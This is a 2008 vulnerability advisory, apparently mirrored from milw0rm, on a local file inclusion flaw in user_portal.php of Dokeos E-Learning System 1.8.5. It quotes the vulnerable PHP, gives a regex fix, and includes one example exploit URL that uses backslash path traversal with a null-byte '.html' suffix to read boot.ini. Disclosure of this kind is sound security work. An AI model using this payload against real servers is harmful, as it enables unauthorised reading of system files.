71 lines
No EOL
2 KiB
Text
71 lines
No EOL
2 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-029
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Application: Dokeos E-Learning System
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Versions Affected: 1.8.5
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Vendor URL: http://dokeos.com/
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Bug: Local File Include
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Exploits: YES
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Reported: 01.07.2008
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Vendor response: 05.07.2008
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Solution: YES
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Date of Public Advisory: 17.07.2008
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Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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Dokeos E-Learning System system has local file include vulnerability in script user_portal.php
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Vulnerable GET parameter "include".
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Registered user can use this vulnerability.
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Code
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****
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#################################################
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if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') && strstr($_GET['include'], '.html'))
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{
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include ('./home/'.$_GET['include']);
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$pageIncluded = true;
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}
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else
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..
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#################################################
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Example:
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http://[server]/[installdir]/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00.html
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Fix Information
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***************
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you can fix it following this official information http://www.dokeos.com/wiki/index.php/Security Or wait a new
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release
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Fixing this issue can be done by replacing line 770 of /user_portal.php by:
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if (!empty ($_GET['include']) && preg_match('/^[a-zA-Z0-9_-]*\.html$/',$_GET['include']))
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and
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penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and
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PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with
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vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-07-28] |